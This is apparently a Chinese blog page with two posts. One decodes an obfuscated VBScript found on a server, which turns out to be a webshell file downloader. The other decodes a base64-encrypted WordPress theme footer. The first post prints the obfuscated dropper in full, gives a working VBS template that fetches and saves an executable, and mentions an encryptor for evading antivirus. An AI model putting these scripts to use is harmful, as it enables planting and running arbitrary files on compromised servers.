它具有原语言容易学习的特性。目前这种语言广泛应用于网页和ASP程序制作，同时还可以直接作为一个可执行程序。用于调试简单的VB语句非常方便。

下面是我发现的可疑代码

Str=Array(97,108,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,49,41,41,13,10,116,101,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,48,41,41,13,10,83,101,116,32,120,80,111,115,116,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,13,10,120,80,111,115,116,46,79,112,101,110,32,34,71,69,84,34,44,116,101,44,48,13,10,120,80,111,115,116,46,83,101,110,100,40,41,13,10,83,101,116,32,101,116,61,67,114,101,97,116,101,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,13,10,101,116,46,77,111,100,101,61,51,13,10,101,116,46,84,121,112,101,61,49,13,10,101,116,46,79,112,101,110,40,41,13,10,101,116,46,87,114,105,116,101,40,120,80,111,115,116,46,114,101,115,112,111,110,115,101,66,111,100,121,41,13,10,101,116,46,83,97,118,101,84,111,70,105,108,101,32,97,108,44,50)
Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str & Chr(Str(I)):Next:End Function
Execute Num2Str(Str)

看到这段代码让我想起前几天解密了一个wordpress主题文件。从加密的结构上看差不多，前面是加密的字符串，后面跟着加密的算法，虽然语言不同，但是可以用类似的方法去解决。在网上搜索相关的vbs语法后直接用 msgbox替换掉 Execute并运行，未加密的vbs代码直接弹了出来

解密出来的代码原来是webshell提权用的vbs脚本，作用就是可以下载任意文件到网站的服务器上。加密是为了躲过杀毒软件的查杀。

说到webshell执行vbs脚本下载文件，其实有好多方法，举个例子(可能被有些杀毒软件当成病毒)：

url = "http://127.0.0.1/test.exe" '网络上的文件地址或者程序  
saveas = "x.exe" '保存成的本地文件或者名字（自定义）  
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象  
Set stream = CreateObject("ADODB.Stream") '创建ADO数据流对象  
 
Call xmlhttp.open("GET",url,False)'打开连接  
Call xmlhttp.send()'发送请求  
 
stream.mode = 3 '设置数据流为读写模式  
stream.type = 1 '设置数据流为二进制模式  
Call stream.open()'打开数据流  
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流  
Call stream.savetofile(saveas,2)'将数据流保存为文件  
 
'释放对象  
Set xmlhttp = Nothing  
Set stream = Nothing  
dim a '定义a变量  
set a=CreateObject("Wscript.Shell") '暂时屏蔽 创建应用脚本程序

上面那个可疑脚本的加密方式可以很好的躲过杀毒软件，在网上找到个类似的vbs脚本加密软件，加密出来的效果跟那个加密代码差不多。vbs脚本加密器下载 vbs脚本编辑器(vbs转换成exe)下载

VBS代码收集

唉！代码太多了，另起一篇吧！

解密被加密的wordpress主题

dev — Thu, 21 Jan 2010 05:24:29 +0000

为了维护自己的版权好多wordpress主题都被加密了，一般被加密的主题文件是footer.php，方式为base64加密。解密被加密的wordpress主题文件并不是为了篡改版权删掉作者的链接，而是为了在原有主题的基础上加以修改使主题更加个性化。

keko是一款相当精致的wordpress主题，其主题文件footer.php被作者加密，如果想自己制定博客底部的内容就需要解密这个文件，当然如果你有编码能力也可以自己写footer.php。

网上有人用查看源代码的方式来解密，就是用firefox浏览器直接打开wordpress博客查看被加密部分的源代码。用这种方式可以根据css来还原php文件，但是这种方式并不是真正的解密，如果被加密代码的函数较多，这种方式就不可行了。

如何解密被加密的wordpress主题文件？下面就以keko为例子尝试一下真正的解密。

先看看keko主题的demo 很精致吧？！这款主题给我的映像是外观大方，设置简单，也很适合中文博客。打开footer.php看到如下代码(我用代码方式呈现可能不太直观，请拷贝到记事本方便查看)

 $_F=__FILE__;$_X='Pz48L2Q0dj4NCjwvZDR2Pg0KPC9kNHY+DQoNCjxkNHYgNGQ9ImYyMnQ1ci13cjFwIj4NCg0KPGQ0diA0ZD0iZjIydDVyIj4NCjxkNHYgY2wxc3M9ImM1bnQ1cjVkLTEiPg0KPGQ0diBjbDFzcz0iYzVudDVyNWQtYiI+DQoNCjxkNHYgY2wxc3M9ImYyMnQ1ci1jMm50NW50Ij4NCjxkNHYgY2wxc3M9ImZiMXIiPg0KPDNsIGNsMXNzPSJmMjJ0NXJfbDRzdCI+DQo8bDQgNGQ9Im0yc3QtYzJtbTVudDVkIj4NCjxobz48P3BocCBfNSgnTTJzdCBDMm1tNW50NWQnKTsgPz48L2hvPg0KPDNsPg0KPD9waHAgZ3Q1X20yc3RfYzJtbTVudDVkKCk7ID8+DQo8LzNsPg0KPC9sND4NCjwvM2w+DQo8L2Q0dj4NCg0KDQo8ZDR2IGNsMXNzPSJmYjFyIj4NCjwzbCBjbDFzcz0iZjIydDVyX2w0c3QiPg0KPGw0IDRkPSJyMW5kMm0tNW50cjQ1cyI+DQo8aG8+PD9waHAgXzUoJ1IxbmQybSBBcnQ0Y2w1cycpOyA/PjwvaG8+DQo8M2w+DQo8P3BocCBndDVfcjFuZDJtX3Ayc3RzKCk7ID8+DQo8LzNsPg0KPC9sND4NCjwvM2w+DQo8L2Q0dj4NCg0KDQo8ZDR2IGNsMXNzPSJmYjFyIj4NCjwzbCBjbDFzcz0iZjIydDVyX2w0c3QiPg0KPGw0IDRkPSJmNTF0M3I1ZC1jMXQiPg0KDQo8P3BocCAkdGg1X2MxdF9zbDNnID0gZzV0XzJwdDQybigndG5fazVrMl9mMjJ0NXJfZjUxdDNyNWQnKTsgPz4NCg0KPD9waHAgNGYoKCR0aDVfYzF0X3NsM2cgPT0gJycpIHx8ICgkdGg1X2MxdF9zbDNnID09ICdDaDIyczUgMSBjMXQ1ZzJyeTonKSl7ID8+DQoNCjxobz5GNTF0M3I1ZCBuMnQgczV0IHk1dDwvaG8+DQo8M2w+DQo8bDQ+UzV0M3AgZjIydDVyIGY1MXQzcjVzIDRuIDwxIGhyNWY9Ijw/cGhwIDVjaDIgZzV0X3M1dHQ0bmdzKCdoMm01Jyk7ID8+L3dwLTFkbTRuL3RoNW01cy5waHA/cDFnNT1mM25jdDQybnMucGhwIj50aDVtNSAycHQ0Mm48LzE+PC9sND4NCjwvM2w+DQoNCjw/cGhwIH0gNWxzNSB7ID8+DQoNCjxobz5SNWM1bnRseSA0biA8P3BocCA1Y2gyIHN0cjRwY3NsMXNoNXMoJHRoNV9jMXRfc2wzZyk7ID8+PC9obz4NCjwzbD4NCjw/cGhwDQovLzRuczVydCB5MjNyIGMxdDVnMnJ5IG4xbTUNCiRteV9xMzVyeSA9IG41dyBXUF9RMzVyeSgnYzF0NWcycnlfbjFtNT0nLiAkdGg1X2MxdF9zbDNnIC4gJyYnIC4gJ3NoMndwMnN0cz0nIC4gOCk7DQp3aDRsNSAoJG15X3EzNXJ5LT5oMXY1X3Ayc3RzKCkpIDogJG15X3EzNXJ5LT50aDVfcDJzdCgpOw0KJGQyX24ydF9kM3BsNGMxdDUgPSAkcDJzdC0+SUQ7DQokdGg1X3Ayc3RfNGRzID0gZzV0X3RoNV9JRCgpOw0KPz4NCjxsND4NCjw/cGhwIHRoNV90NHRsNSgpOyA/PjxiciAvPg0KPDVtPjwxIGhyNWY9Ijw/cGhwIHRoNV9wNXJtMWw0bmsoKTsgPz4iPkNsNGNrIGg1cjUgdDIgcjUxZCBtMnI1ICZyMXJyOzwvMT48LzVtPg0KPC9sND4NCjw/cGhwIDVuZHdoNGw1Oz8+DQo8LzNsPg0KDQo8P3BocCB9ID8+DQoNCjwvbDQ+DQo8LzNsPg0KDQo8L2Q0dj4NCjwvZDR2Pg0KDQoNCg0KDQo8L2Q0dj4NCjwvZDR2Pg0KPC9kNHY+DQo8L2Q0dj4NCg0KDQoNCjxkNHYgNGQ9ImYyMnQ1ci0yM3QiPg0KPGQ0diBjbDFzcz0iYzVudDVyNWQtMSI+DQo8ZDR2IGNsMXNzPSJjNW50NXI1ZC1iIj4NCg0KPGQ0diBjbDFzcz0iMWw0Z25sNWZ0Ij4NCkMycHlyNGdodCAmYzJweTs8P3BocCA1Y2gyIGdtZDF0NShfXygnWScpKTsgPz4gPDEgaHI1Zj0iPD9waHAgNWNoMiBnNXRfczV0dDRuZ3MoJ2gybTUnKTsgPz4iPjw/cGhwIGJsMmc0bmYyKCduMW01Jyk7ID8+PC8xPjxiciAvPg0KPDEgdDR0bDU9IkZyNTUgVzJyZFByNXNzIFRoNW01IiBocjVmPSJodHRwOi8vd3d3Lm1rNWxzLmMybSI+RnI1NSBXMnJkUHI1c3MgVGg1bTU8LzE+IEJ5IE1rNWxzDQo8L2Q0dj4NCg0KPGQ0diBjbDFzcz0iMWw0Z25yNGdodCI+DQpDMmxsMWIycjF0NDJuIHc0dGggPDEgaHI1Zj0iaHR0cDovL3d3dy5rMnI1MW4tY2wydGg0bmcuYzJtLyIgdDR0bDU9IksycjUxbiBDbDJ0aDRuZyI+SzJyNTFuIENsMnRoNG5nPC8xPiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDs8MSBocjVmPSJodHRwOi8vd3d3LnRoNXA0Z2d5YjFuazVyLmMybS8iIHQ0dGw1PSJDRCBSMXQ1cyI+Q0QgUjF0NXM8LzE+Jm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwOzwxIGhyNWY9Imh0dHA6Ly93d3cuYjFuazRuZ3o1bi5jMm0vIiB0NHRsNT0iQjFuayBSMXQ1cyI+QjFuayBSMXQ1czwvMT4NCjwvZDR2Pg0KPC9kNHY+DQo8L2Q0dj4NCjwvZDR2Pg0KPD9waHAgd3BfZjIydDVyKCk7ID8+DQo8L2IyZHk+DQo8L2h0bWw+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

不要头晕，作者在加密的时候已经把解密的方法告诉我们了，在文件结尾出看到了base64_decode 先分析后面这段代码

base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==')

很明显是用的base64加密了

JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==

请出代码解密工具Malzilla ，可别看成了 Mozilla 咯，这可不是火狐出的。Malzilla是一款网页解密工具，集成了好多常见加密算法的解密工具，多用来分析网页木马。Malzilla 下载地址如果觉得用软件麻烦，可以直接使用在线base64解密工具如:http://tool.chinaz.com/Tools/Base64.aspx

解密后的代码为：

$_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;

解密后的代码就比较容易分析了。是将$_X中的字符替换$_X=strtr($_X,’123456aouie’,'aouie123456′); 1换成a，2换成o,3换成u,4换成i,5换成e ，这是一个简单的替换规则。
然后直接将$_X 用base64解密，解密后的代码为：

?>


 

 



 


<3l cl1ss="f22t5r_l4st">

 _5('M2st C2mm5nt5d'); ?>
<3l>
 gt5_m2st_c2mm5nt5d(); ?>




 
 

<3l cl1ss="f22t5r_l4st">

 _5('R1nd2m Art4cl5s'); ?>
<3l>
 gt5_r1nd2m_p2sts(); ?>




 
 

<3l cl1ss="f22t5r_l4st">

 
 $th5_c1t_sl3g = g5t_2pt42n('tn_k5k2_f22t5r_f51t3r5d'); ?>
 
 4f(($th5_c1t_sl3g == '') || ($th5_c1t_sl3g == 'Ch22s5 1 c1t5g2ry:')){ ?>
 
F51t3r5d n2t s5t y5t
<3l>
S5t3p f22t5r f51t3r5s 4n <1 hr5f=" 5ch2 g5t_s5tt4ngs('h2m5'); ?>/wp-1dm4n/th5m5s.php?p1g5=f3nct42ns.php">th5m5 2pt42n

 
 } 5ls5 { ?>
 
R5c5ntly 4n  5ch2 str4pcsl1sh5s($th5_c1t_sl3g); ?>
<3l>

//4ns5rt y23r c1t5g2ry n1m5
$my_q35ry = n5w WP_Q35ry('c1t5g2ry_n1m5='. $th5_c1t_sl3g . '&' . 'sh2wp2sts=' . 8);
wh4l5 ($my_q35ry->h1v5_p2sts()) : $my_q35ry->th5_p2st();
$d2_n2t_d3pl4c1t5 = $p2st->ID;
$th5_p2st_4ds = g5t_th5_ID();
?>

 th5_t4tl5(); ?>

<5m><1 hr5f=" th5_p5rm1l4nk(); ?>">Cl4ck h5r5 t2 r51d m2r5 &r1rr;

 5ndwh4l5;?>

 
 } ?>
 


 


 
 
 
 




 
 
 



 

C2pyr4ght &c2py; 5ch2 gmd1t5(__('Y')); ?> <1 hr5f=" 5ch2 g5t_s5tt4ngs('h2m5'); ?>"> bl2g4nf2('n1m5'); ?>

<1 t4tl5="Fr55 W2rdPr5ss Th5m5" hr5f="http://www.mk5ls.c2m">Fr55 W2rdPr5ss Th5m5 By Mk5ls

 

C2ll1b2r1t42n w4th <1 hr5f="http://www.k2r51n-cl2th4ng.c2m/" t4tl5="K2r51n Cl2th4ng">K2r51n Cl2th4ng  |  <1 hr5f="http://www.th5p4ggyb1nk5r.c2m/" t4tl5="CD R1t5s">CD R1t5s  |  <1 hr5f="http://www.b1nk4ngz5n.c2m/" t4tl5="B1nk R1t5s">B1nk R1t5s




 wp_f22t5r(); ?>

将解出的代码按照上面的替换规则依次替换，最终还原了被加密的wordpress主题文件如下：

_e('Most Commented'); ?>

_e('Random Articles'); ?>

$the_cat_slug = get_option('tn_keko_footer_featured'); ?>
if(($the_cat_slug == '') || ($the_cat_slug == 'Choose a category:')){ ?> Featured not set yet
- Setup footer features in echo get_settings('home'); ?>/wp-admin/themes.php?page=functions.php">theme option
} else { ?> Recently in echo stripcslashes($the_cat_slug); ?>
} ?>

wp_footer(); ?>

有了源文件就可以按照自己的需要修改了。请大家尊重作者的劳动成果，不要篡改版权。